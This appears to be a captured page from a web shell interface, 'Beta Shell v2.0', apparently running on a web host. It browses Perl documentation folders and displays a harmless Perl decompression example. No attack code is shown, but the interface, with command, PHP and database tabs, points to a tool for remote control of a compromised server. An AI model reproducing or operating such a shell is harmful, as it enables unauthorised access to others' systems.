Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
doc
/
perl-IO-Compress
/
io
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
anycat
354 B
-rw-r--r--
2021-04-12 06:13:29
Edit
Del
bzip2
-
drwxr-xr-x
2022-02-22 12:00:43
Del
gzip
-
drwxr-xr-x
2022-02-22 12:00:43
Del
Editing: anycat
(354 B)
Path: /usr/share/doc/perl-IO-Compress/io/anycat
Back
#!/usr/bin/perl use strict ; use warnings ; use IO::Uncompress::AnyUncompress qw( anyuncompress $AnyUncompressError ); @ARGV = '-' unless @ARGV ; foreach my $file (@ARGV) { anyuncompress $file => '-', Transparent => 1, Strict => 0, or die "Cannot uncompress '$file': $AnyUncompressError\n" ; }